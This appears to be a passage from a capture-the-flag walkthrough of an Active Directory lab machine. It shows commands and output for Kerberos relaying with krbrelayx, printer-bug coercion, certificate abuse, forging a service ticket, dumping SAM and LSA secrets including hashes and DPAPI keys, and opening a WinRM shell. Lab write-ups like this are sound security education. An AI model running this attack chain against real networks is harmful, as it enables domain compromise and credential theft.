[*] HTTPD(80): Authenticating against ldap://172.16.20.1 as DARKCORP/SVC_ACC SUCCEED
[*] Assuming relayed user has privileges to escalate a user via ACL attack
[*] Checking if domain already has a `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA` DNS record
[*] Domain does not have a `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA` record!
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.1:53  ...  OK
[*] Adding `A` record `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA` pointing to `10.10.14.8` at `DC=dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA,DC=darkcorp.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=darkcorp,DC=htb`
[*] Added `A` record `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA`. DON'T FORGET TO CLEANUP (set `dNSTombstoned` to `TRUE`, set `dnsRecord` to a NULL byte)

The record is added:

ebelford@drip:~$ nslookup dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.darkcorp.htb
Server:         172.16.20.1
Address:        172.16.20.1#53

Name:   dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.darkcorp.htb
Address: 10.10.14.8

Get Ticket

I’ll use krbrelayx to relay the Kerberos auth from WEB-01 to DC-01:

oxdf@hacky$ proxychains krbrelayx.py -t 'https://dc-01.darkcorp.htb/certsrv/certfnsh.asp' --adcs -v 'WEB-01$'
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
/home/oxdf/.cache/uv/environments-v2/krbrelayx-c1c263a43b680290/lib/python3.12/site-packages/impacket/examples/ntlmrelayx/attacks/__init__.py:20: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Running in attack mode to single host
[*] Running in kerberos relay mode because no credentials were specified.
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up DNS Server

[*] Servers started, waiting for connections

I’m giving it the ADCS HTTP web enrollment endpoint (see my VulnCicada post for more info). Now I’ll coerce that auth using printer bug (from krbrelayx):

oxdf@hacky$ proxychains uv run --script /opt/krbrelayx/printerbug.py 'darkcorp/victor.r':'victor1gustavo@#'@WEB-01.darkcorp.htb dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
/home/oxdf/.cache/uv/environments-v2/printerbug-b6cb5cd5ea4f68b8/lib/python3.11/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources
[*] Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Attempting to trigger authentication via rprn RPC at WEB-01.darkcorp.htb
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  WEB-01.darkcorp.htb:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  WEB-01.darkcorp.htb:445  ...  OK
[*] Bind OK
[*] Got handle
DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Triggered RPC backconnect, this may or may not have worked

When this runs, it triggers the machine account, WEB-01$, to authenticate to dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA, which is me. That reaches krbrelayx:

[*] Servers started, waiting for connections
[*] SMBD: Received connection from 10.10.11.54
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  dc-01.darkcorp.htb:443  ...  OK
[*] HTTP server returned status code 200, treating as a successful login
[*] SMBD: Received connection from 10.10.11.54
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[*] SMBD: Received connection from 10.10.11.54
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE! ID 5
[*] Writing PKCS#12 certificate to ./WEB-01$.pfx
[*] Certificate successfully written to file

Auth

Certipy can auth with the resulting ticket to authenticate to WEB-01:

oxdf@hacky$ proxychains certipy auth -pfx 'WEB-01$.pfx' -domain darkcorp.htb -dc-ip 172.16.20.1
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN DNS Host Name: 'WEB-01.darkcorp.htb'
[*]     Security Extension SID: 'S-1-5-21-3432610366-2163336488-3604236847-20601'
[*] Using principal: 'web-01$@darkcorp.htb'
[*] Trying to get TGT...
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.1:88  ...  OK
[*] Got TGT
[*] Saving credential cache to 'web-01.ccache'
[*] Wrote credential cache to 'web-01.ccache'
[*] Trying to retrieve NT hash for 'web-01$'
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.1:88  ...  OK
[*] Got hash for 'web-01$@darkcorp.htb': aad3b435b51404eeaad3b435b51404ee:8f33c7fc7ff515c1f358e488fbb8b675

I’ll use the NTLM hash to get a ticket, but for that I need the domain SID. lookupsid.py will give that (and all the users):

oxdf@hacky$ proxychains lookupsid.py -hashes :8f33c7fc7ff515c1f358e488fbb8b675 'darkcorp.htb/WEB-01$@DC-01.darkcorp.htb'
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Brute forcing SIDs at DC-01.darkcorp.htb
[*] StringBinding ncacn_np:DC-01.darkcorp.htb[\pipe\lsarpc]
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  DC-01.darkcorp.htb:445  ...  OK
[*] Domain SID is: S-1-5-21-3432610366-2163336488-3604236847
498: darkcorp\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: darkcorp\Administrator (SidTypeUser)
501: darkcorp\Guest (SidTypeUser)
502: darkcorp\krbtgt (SidTypeUser)
512: darkcorp\Domain Admins (SidTypeGroup)
513: darkcorp\Domain Users (SidTypeGroup)
514: darkcorp\Domain Guests (SidTypeGroup)
515: darkcorp\Domain Computers (SidTypeGroup)
516: darkcorp\Domain Controllers (SidTypeGroup)
517: darkcorp\Cert Publishers (SidTypeAlias)
518: darkcorp\Schema Admins (SidTypeGroup)
519: darkcorp\Enterprise Admins (SidTypeGroup)
520: darkcorp\Group Policy Creator Owners (SidTypeGroup)
521: darkcorp\Read-only Domain Controllers (SidTypeGroup)
522: darkcorp\Cloneable Domain Controllers (SidTypeGroup)
525: darkcorp\Protected Users (SidTypeGroup)
526: darkcorp\Key Admins (SidTypeGroup)
527: darkcorp\Enterprise Key Admins (SidTypeGroup)
553: darkcorp\RAS and IAS Servers (SidTypeAlias)
571: darkcorp\Allowed RODC Password Replication Group (SidTypeAlias)
572: darkcorp\Denied RODC Password Replication Group (SidTypeAlias)
1000: darkcorp\DC-01$ (SidTypeUser)
1101: darkcorp\DnsAdmins (SidTypeAlias)
1102: darkcorp\DnsUpdateProxy (SidTypeGroup)
1103: darkcorp\victor.r (SidTypeUser)
1104: darkcorp\svc_acc (SidTypeUser)
1105: darkcorp\john.w (SidTypeUser)
1106: darkcorp\angela.w (SidTypeUser)
1107: darkcorp\angela.w.adm (SidTypeUser)
1108: darkcorp\taylor.b (SidTypeUser)
1109: darkcorp\linux_admins (SidTypeGroup)
1110: darkcorp\gpo_manager (SidTypeGroup)
1601: darkcorp\DRIP$ (SidTypeUser)

Now ticketer.py can make a ticket:

oxdf@hacky$ ticketer.py -nthash 8f33c7fc7ff515c1f358e488fbb8b675 -domain darkcorp.htb -domain-sid S-1-5-21-3432610366-2163336488-3604236847 -spn cifs/web-01.darkcorp.htb Administrator
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for darkcorp.htb/Administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in Administrator.ccache

That ticket can auth as the local administrator account to WEB-01:

oxdf@hacky$ KRB5CCNAME=Administrator.ccache proxychains netexec smb web-01.darkcorp.htb -k --use-kcache
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  web-01.darkcorp.htb:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  web-01.darkcorp.htb:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  web-01.darkcorp.htb:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  web-01.darkcorp.htb:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  web-01.darkcorp.htb:445  ...  OK
SMB         web-01.darkcorp.htb 445    WEB-01           [*] Windows Server 2022 Build 20348 x64 (name:WEB-01) (domain:darkcorp.htb) (signing:False) (SMBv1:False)
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  web-01.darkcorp.htb:445  ...  OK
SMB         web-01.darkcorp.htb 445    WEB-01           [+] DARKCORP.HTB\Administrator from ccache (Pwn3d!)

Administrator

Dump Local Hashes

Armed with a Kerberos ticket as the machine account, I’ll dump the local hashes to get more access to WEB-01:

oxdf@hacky$ KRB5CCNAME=Administrator.ccache proxychains secretsdump.py -k web-01.darkcorp.htb
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  web-01.darkcorp.htb:445  ...  OK
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x4cf6d0e998d53752d088e233abb4bed6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:88d84ec08dad123eb04a060a74053f21:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
DARKCORP.HTB/svc_acc:$DCC2$10240#svc_acc#3a5485946a63220d3c4b118b36361dbb: (2025-10-15 00:46:21)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
darkcorp\WEB-01$:plain_password_hex:4100520044006c002600710072005a00640022007400230061003d004f00520063005e006b006e004f005d00270034004b0041003a003900390074006200320031006a0040005a004f004f005c004b003b00760075006600210063004f0075002f003c0072005d0043004c004a005800250075006c002d00440064005f006b00380038002c00270049002c0046004000680027003b004500200021003b0042004d005f0064003b0066002300700068005500440069002f0054002300320022005f004c0056004c003c0049006f002600480076002c005d00610034005500470077004a0076005f003400740054004800
darkcorp\WEB-01$:aad3b435b51404eeaad3b435b51404ee:8f33c7fc7ff515c1f358e488fbb8b675:::
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x1004cecdc9b33080d25a4a29126d4590eb555c5f
dpapi_userkey:0x7f3f9f871ea1dafaea01ae4ccf6e3f7ee535e472
[*] NL$KM 
 0000   DD C9 21 14 B9 23 69 1B  D8 BE FD 57 6B 3C 3E E1   ..!..#i....Wk<>.
 0010   9D 3D 3F 74 82 AF 75 33  FD 74 61 6E B7 24 55 AF   .=?t..u3.tan.$U.
 0020   6F 61 A0 BC 2B 2A 86 CF  6E EC E0 D3 37 98 FE E5   oa..+*..n...7...
 0030   14 54 7D A9 A6 45 19 37  F1 20 24 4B 18 43 19 72   .T}..E.7. $K.C.r
NL$KM:ddc92114b923691bd8befd576b3c3ee19d3d3f7482af7533fd74616eb72455af6f61a0bc2b2a86cf6eece0d33798fee514547da9a6451937f120244b18431972
[*] Cleaning up... 
[*] Stopping service RemoteRegistry

Shell

I’ll use that hash to get a shell on WEB-01:

oxdf@hacky$ proxychains evil-winrm-py -i web-01 -u administrator -H 88d84ec08dad123eb04a060a74053f21
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.4.1

[*] Connecting to 'web-01:5985' as 'administrator'
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  web-01:5985  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  web-01:5985  ...  OK
evil-winrm-py PS C:\Users\Administrator\Documents>

And grab user.txt:

evil-winrm-py PS C:\Users\Administrator\Desktop> cat user.txt
da2e66e0************************

Auth as john.w@darkcorp.htb

Enumeration

Home Directories

There are no other user home directories on this host:

evil-winrm-py PS C:\Users> ls

    Directory: C:\Users

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         1/16/2025  10:47 AM                .NET v4.5
d-----         1/16/2025  10:47 AM                .NET v4.5 Classic
d-----          2/3/2025   1:21 PM                Administrator
d-r---         1/15/2025   4:11 PM                Public 

Besides user.txt, there’s an interesting .exe file and a cleanup.ps1 script in the Administrator’s directory:

evil-winrm-py PS C:\Users\Administrator> tree /f .
Folder PATH listing
Volume serial number is 00000201 E2B2:45D5
C:\USERS\ADMINISTRATOR
¦   HTB-Stability.exe
¦   
+---3D Objects
+---Contacts
+---Desktop
¦       user.txt
¦       
+---Documents
¦   +---cleanup
¦   ¦       cleanup.ps1
¦   ¦       
¦   +---WindowsPowerShell
¦       +---Scripts
¦           +---InstalledScriptInfos
+---Downloads
+---Favorites
+---Links
+---Music
+---Pictures
+---Saved Games
+---Searches
+---Videos

All the PowerShell does it restart the w3svc service if it isn’t running:

$service = Get-Service -Name "w3svc"
if ($service.Status -ne "Running") {
        Restart-Service -Name "w3svc"
}

The binary says it’s not a part of the path:

evil-winrm-py PS C:\Users\Administrator> .\HTB-Stability.exe
ATTN: This is not part of the path and only serves as a stability purpose

Reversing this binary could be an interesting exercise, but I didn’t have time to do it as a Beyond Root section.

Scheduled Tasks

The existence of this script suggest that it runs as a scheduled task. I’ll get Claude to make me a PowerShell line to dump scheduled tasks, and find that both the script and the executable are running with tasks:

evil-winrm-py PS C:\> Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"} | Select-Object TaskName, @{Name="User";Expression={$_.Principal.UserId}}, @{Name="Command";Expr
ession={($_.Actions.Execute + " " + $_.Actions.Arguments).Trim()}} | Format-Table -AutoSize

TaskName                                          User            Command
--------                                          ----            -------
CleanupScript                                     Administrator   powershell.exe -File "C:\Users\Administrator\Docume...
HTB-Stability                                     SYSTEM          C:\Users\Administrator\HTB-Stability.exe restore
.NET Framework NGEN v4.0.30319                    SYSTEM
.NET Framework NGEN v4.0.30319 64                 SYSTEM
AD RMS Rights Policy Template Management (Manual)
EDP Policy Manager                                LOCAL SERVICE
SystemTask                                        SYSTEM
UserTask
UserTask-Roam
ProactiveScan                                     SYSTEM
SyspartRepair                                     SYSTEM          %windir%\system32\bcdboot.exe %windir% /sysrepair
Consolidator                                      SYSTEM          %SystemRoot%\System32\wsqmcons.exe
Data Integrity Check And Scan                     SYSTEM
Data Integrity Scan                               SYSTEM
Data Integrity Scan for Crash Recovery            SYSTEM
ScheduledDefrag                                   SYSTEM          %windir%\system32\defrag.exe -c -h -k -g -$
Device                                            SYSTEM          %windir%\system32\devicecensus.exe SystemCxt
Device User                                                       %windir%\system32\devicecensus.exe UserCxt
MDMMaintenenceTask                                SYSTEM          %windir%\system32\MDMAgent.exe
ExploitGuard MDM policy Refresh                   SYSTEM
ReconcileFeatures                                 SYSTEM
UsageDataFlushing                                 SYSTEM
UsageDataReporting                                SYSTEM
RefreshCache                                      SYSTEM
LPRemove                                          SYSTEM          %windir%\system32\lpremove.exe
GatherNetworkInfo                                                 %windir%\system32\gatherNetworkInfo.vbs
Secure-Boot-Update                                SYSTEM
Sqm-Tasks                                         SYSTEM
Device Install Group Policy                       SYSTEM
Device Install Reboot Required
Sysprep Generalize Drivers                        SYSTEM          %SystemRoot%\System32\drvinst.exe 6
RegIdleBackup                                     SYSTEM
CleanupOldPerfLogs                                SYSTEM          %systemroot%\system32\cscript.exe /B /nologo %syste...
StartComponentCleanup                             SYSTEM
CreateObjectTask                                  SYSTEM
UpdateUserPictureTask
Configuration                                     SYSTEM          %systemroot%\system32\cmd.exe /d /c %systemroot%\sy...
SvcRestartTask                                    NETWORK SERVICE
SpaceAgentTask                                    SYSTEM          %windir%\system32\SpaceAgent.exe
SpaceManagerTask                                  SYSTEM          %windir%\system32\spaceman.exe /Work
MaintenanceTasks                                  SYSTEM          %windir%\system32\rundll32.exe %windir%\system32\Wi...
Storage Tiers Management Initialization           SYSTEM
MsCtfMonitor
SynchronizeTime                                   LOCAL SERVICE   %windir%\system32\sc.exe start w32time task_started
SynchronizeTimeZone                               SYSTEM          %windir%\system32\tzsync.exe
Tpm-HASCertRetr                                   SYSTEM
Tpm-Maintenance                                   SYSTEM
Report policies                                   SYSTEM          %systemroot%\system32\usoclient.exe ReportPolicies
Schedule Scan                                     SYSTEM          %systemroot%\system32\usoclient.exe StartScan
Schedule Scan Static Task                         SYSTEM          %systemroot%\system32\usoclient.exe StartScan
USO_UxBroker                                      SYSTEM          %systemroot%\system32\MusNotification.exe
UUS Failover Task                                 SYSTEM          %systemroot%\system32\failover.exe
ResolutionHost
Windows Defender Cache Maintenance                SYSTEM          C:\ProgramData\Microsoft\Windows Defender\Platform\...
Windows Defender Cleanup                          SYSTEM          C:\ProgramData\Microsoft\Windows Defender\Platform\...
Windows Defender Scheduled Scan                   SYSTEM          C:\ProgramData\Microsoft\Windows Defender\Platform\...
Windows Defender Verification                     SYSTEM          C:\ProgramData\Microsoft\Windows Defender\Platform\...
QueueReporting                                    SYSTEM          %windir%\system32\wermgr.exe -upload
BfeOnServiceStartTypeChange                       SYSTEM          %windir%\system32\rundll32.exe bfe.dll,BfeOnService...
Refresh Group Policy Cache                        SYSTEM
Scheduled Start                                   SYSTEM          C:\Windows\system32\sc.exe start wuauserv
CacheTask

The top line shows the PowerShell script running as administrator. The second line is running the HTB-Stability.exe binary.

The “CleanupScript” task is set to run every two minutes according to it’s description:

evil-winrm-py PS C:\> Get-ScheduledTask -TaskName "CleanupScript" | Format-List *

State                 : Ready
Actions               : {MSFT_TaskExecAction}
Author                : darkcorp\Administrator
Date                  : 2025-01-20T14:01:13.0140782
Description           : Cleanup every 2 mins
Documentation         : 
Principal             : MSFT_TaskPrincipal2
SecurityDescriptor    : 
Settings              : MSFT_TaskSettings3
Source                : 
TaskName              : CleanupScript
TaskPath              : \
Triggers              : {MSFT_TaskDailyTrigger}
URI                   : \CleanupScript
Version               : 
PSComputerName        : 
CimClass              : Root/Microsoft/Windows/TaskScheduler:MSFT_ScheduledTask
CimInstanceProperties : {Actions, Author, Date, Description...}
CimSystemProperties   : Microsoft.Management.Infrastructure.CimSystemProperties

Digging a bit deeper to confirm this:

evil-winrm-py PS C:\> $task = Get-ScheduledTask -TaskName "CleanupScript"
evil-winrm-py PS C:\> $task.Triggers | Format-List *
Enabled               : True
EndBoundary           : 
ExecutionTimeLimit    : PT5M
Id                    : 
Repetition            : MSFT_TaskRepetitionPattern
StartBoundary         : 2025-01-20T14:00:09
DaysInterval          : 1
RandomDelay           : 
PSComputerName        : 
CimClass              : Root/Microsoft/Windows/TaskScheduler:MSFT_TaskDailyTrigger
CimInstanceProperties : {Enabled, EndBoundary, ExecutionTimeLimit, Id...}
CimSystemProperties   : Microsoft.Management.Infrastructure.CimSystemProperties
evil-winrm-py PS C:\> $task.Triggers.Repetition | Format-List *
Duration              : 
Interval              : PT2M
StopAtDurationEnd     : False
PSComputerName        : 
CimClass              : Root/Microsoft/Windows/TaskScheduler:MSFT_TaskRepetitionPattern
CimInstanceProperties : {Duration, Interval, StopAtDurationEnd}
CimSystemProperties   : Microsoft.Management.Infrastructure.CimSystemProperties

The Interval of PT2M says it will run every two minutes.

Modules

Looking at the installed modules, the first line is CredentialManager:

evil-winrm-py PS C:\> Get-Module -ListAvailable

    Directory: C:\Program Files\WindowsPowerShell\Modules

ModuleType Version    Name                                ExportedCommands
---------- -------    ----                                ----------------
Binary     2.0        CredentialManager                   {Get-StoredCredential, New-StoredCredential, Remove-StoredC...
Script     1.0.1      Microsoft.PowerShell.Operation.V... {Get-OperationValidation, Invoke-OperationValidation}
Binary     1.0.0.1    PackageManagement                   {Find-Package, Get-Package, Get-PackageProvider, Get-Packag...
Script     3.4.0      Pester                              {Describe, Context, It, Should...}
Script     1.0.0.1    PowerShellGet                       {Install-Module, Find-Module, Save-Module, Update-Module...}
Script     2.0.0      PSReadline                          {Get-PSReadLineKeyHandler, Set-PSReadLineKeyHandler, Remove...

    Directory: C:\Windows\system32\WindowsPowerShell\v1.0\Modules

ModuleType Version    Name                                ExportedCommands
---------- -------    ----                                ----------------
Manifest   2.0.0.0    AppLocker                           {Get-AppLockerFileInformation, Get-AppLockerPolicy, New-App...
Manifest   2.0.1.0    Appx                                {Add-AppxPackage, Get-AppxPackage, Get-AppxPackageManifest,...
Manifest   1.0        BestPractices                       {Get-BpaModel, Get-BpaResult, Invoke-BpaModel, Set-BpaResult}
Manifest   2.0.0.0    BitsTransfer                        {Add-BitsFile, Complete-BitsTransfer, Get-BitsTransfer, Rem...
Manifest   1.0.0.0    BranchCache                         {Add-BCDataCacheExtension, Clear-BCCache, Disable-BC, Disab...
Manifest   1.0.0.0    CimCmdlets                          {Get-CimAssociatedInstance, Get-CimClass, Get-CimInstance, ...
Manifest   1.0        ConfigCI                            {Get-SystemDriver, New-CIPolicyRule, New-CIPolicy, Get-CIPo...
Manifest   1.0        ConfigDefender                      {Get-MpPreference, Set-MpPreference, Add-MpPreference, Remo...
Manifest   1.0        ConfigDefenderPerformance           {New-MpPerformanceRecording, Get-MpPerformanceReport}
Manifest   1.0        Defender                            {Get-MpPreference, Set-MpPreference, Add-MpPreference, Remo...
Manifest   1.0.3.0    DeliveryOptimization                {Get-DeliveryOptimizationLog, Get-DeliveryOptimizationLogAn...
Manifest   1.0.0.0    DirectAccessClientComponents        {Disable-DAManualEntryPointSelection, Enable-DAManualEntryP...
Script     3.0        Dism                                {Add-AppxProvisionedPackage, Add-WindowsDriver, Add-Windows...
Manifest   1.0.0.0    DnsClient                           {Resolve-DnsName, Clear-DnsClientCache, Get-DnsClient, Get-...
Manifest   1.0.0.0    EventTracingManagement              {Start-EtwTraceSession, New-EtwTraceSession, Get-EtwTraceSe...
Script     2020.6.... Get-NetView                         Get-NetView
Script     1.1.0.0    IISAdministration                   {Get-IISAppPool, Start-IISCommitDelay, Stop-IISCommitDelay,...
Manifest   2.0.0.0    International                       {Get-WinDefaultInputMethodOverride, Set-WinDefaultInputMeth...
Manifest   1.0.0.0    iSCSI                               {Get-IscsiTargetPortal, New-IscsiTargetPortal, Remove-Iscsi...
Manifest   2.0.0.0    IscsiTarget                         {Add-ClusteriSCSITargetServerRole, Add-IscsiVirtualDiskTarg...
Manifest   1.0.0.0    Kds                                 {Add-KdsRootKey, Get-KdsRootKey, Test-KdsRootKey, Set-KdsCo...
Script     1.0.0.0    LAPS                                {Find-LapsADExtendedRights, Get-LapsADPassword, Invoke-Laps...
Manifest   1.0.1.0    Microsoft.PowerShell.Archive        {Compress-Archive, Expand-Archive}
Manifest   3.0.0.0    Microsoft.PowerShell.Diagnostics    {Get-WinEvent, Get-Counter, Import-Counter, Export-Counter...}
Manifest   3.0.0.0    Microsoft.PowerShell.Host           {Start-Transcript, Stop-Transcript}
Manifest   1.0.0.0    Microsoft.PowerShell.LocalAccounts  {Add-LocalGroupMember, Disable-LocalUser, Enable-LocalUser,...
Manifest   3.1.0.0    Microsoft.PowerShell.Management     {Add-Content, Clear-Content, Clear-ItemProperty, Join-Path...}
Script     1.0        Microsoft.PowerShell.ODataUtils     Export-ODataEndpointProxy
Manifest   3.0.0.0    Microsoft.PowerShell.Security       {Get-Acl, Set-Acl, Get-PfxCertificate, Get-Credential...}
Manifest   3.1.0.0    Microsoft.PowerShell.Utility        {Format-List, Format-Custom, Format-Table, Format-Wide...}
Script     2.0.0.0    Microsoft.ServerCore.SConfig        {Invoke-SConfig, Invoke-SConfigLogon, Get-SConfig, Set-SCon...
Manifest   3.0.0.0    Microsoft.WSMan.Management          {Disable-WSManCredSSP, Enable-WSManCredSSP, Get-WSManCredSS...
Manifest   1.0        MMAgent                             {Disable-MMAgent, Enable-MMAgent, Set-MMAgent, Get-MMAgent...}
Manifest   1.0.0.0    MsDtc                               {New-DtcDiagnosticTransaction, Complete-DtcDiagnosticTransa...
Manifest   2.0.0.0    NetAdapter                          {Disable-NetAdapter, Disable-NetAdapterBinding, Disable-Net...
Manifest   1.0.0.0    NetConnection                       {Get-NetConnectionProfile, Set-NetConnectionProfile}
Manifest   1.0.0.0    NetEventPacketCapture               {New-NetEventSession, Remove-NetEventSession, Get-NetEventS...
Manifest   2.0.0.0    NetLbfo                             {Add-NetLbfoTeamMember, Add-NetLbfoTeamNic, Get-NetLbfoTeam...
Manifest   1.0.0.0    NetNat                              {Get-NetNat, Get-NetNatExternalAddress, Get-NetNatStaticMap...
Manifest   2.0.0.0    NetQos                              {Get-NetQosPolicy, Set-NetQosPolicy, Remove-NetQosPolicy, N...
Manifest   2.0.0.0    NetSecurity                         {Get-DAPolicyChange, New-NetIPsecAuthProposal, New-NetIPsec...
Manifest   1.0.0.0    NetSwitchTeam                       {New-NetSwitchTeam, Remove-NetSwitchTeam, Get-NetSwitchTeam...
Manifest   1.0.0.0    NetTCPIP                            {Get-NetIPAddress, Get-NetIPInterface, Get-NetIPv4Protocol,...
Manifest   1.0.0.0    NetworkConnectivityStatus           {Get-DAConnectionStatus, Get-NCSIPolicyConfiguration, Reset...
Manifest   1.0.0.0    NetworkTransition                   {Add-NetIPHttpsCertBinding, Disable-NetDnsTransitionConfigu...
Manifest   1.0        NFS                                 {Get-NfsMappedIdentity, Get-NfsNetgroup, Install-NfsMapping...
Manifest   1.0.0.0    PcsvDevice                          {Get-PcsvDevice, Start-PcsvDevice, Stop-PcsvDevice, Restart...
Binary     1.0.0.0    PersistentMemory                    {Get-PmemDisk, Get-PmemPhysicalDevice, Get-PmemUnusedRegion...
Manifest   1.0.0.0    PKI                                 {Add-CertificateEnrollmentPolicyServer, Export-Certificate,...
Manifest   1.0.0.0    PlatformIdentifier                  Get-PlatformIdentifier
Manifest   1.0.0.0    PnpDevice                           {Get-PnpDevice, Get-PnpDeviceProperty, Enable-PnpDevice, Di...
Manifest   1.1        PrintManagement                     {Add-Printer, Add-PrinterDriver, Add-PrinterPort, Get-Print...
Binary     1.0.12     ProcessMitigations                  {Get-ProcessMitigation, Set-ProcessMitigation, ConvertTo-Pr...
Manifest   1.1        PSDesiredStateConfiguration         {Set-DscLocalConfigurationManager, Start-DscConfiguration, ...
Script     1.0.0.0    PSDiagnostics                       {Disable-PSTrace, Disable-PSWSManCombinedTrace, Disable-WSM...
Binary     1.1.0.0    PSScheduledJob                      {New-JobTrigger, Add-JobTrigger, Remove-JobTrigger, Get-Job...
Manifest   2.0.0.0    PSWorkflow                          {New-PSWorkflowExecutionOption, New-PSWorkflowSession, nwsn}
Manifest   1.0.0.0    PSWorkflowUtility                   Invoke-AsWorkflow
Manifest   2.0.0.0    RemoteDesktop                       {Get-RDCertificate, Set-RDCertificate, New-RDCertificate, N...
Manifest   1.0.0.0    ScheduledTasks                      {Get-ScheduledTask, Set-ScheduledTask, Register-ScheduledTa...
Manifest   2.0.0.0    SecureBoot                          {Confirm-SecureBootUEFI, Set-SecureBootUEFI, Get-SecureBoot...
Manifest   1.0.0.0    SecurityCmdlets                     {Backup-SecurityPolicy, Restore-SecurityPolicy, Backup-Audi...
Script     1.0.0.0    ServerCore                          {Get-DisplayResolution, Set-DisplayResolution}
Script     2.0.0.0    ServerManager                       {Get-WindowsFeature, Install-WindowsFeature, Uninstall-Wind...
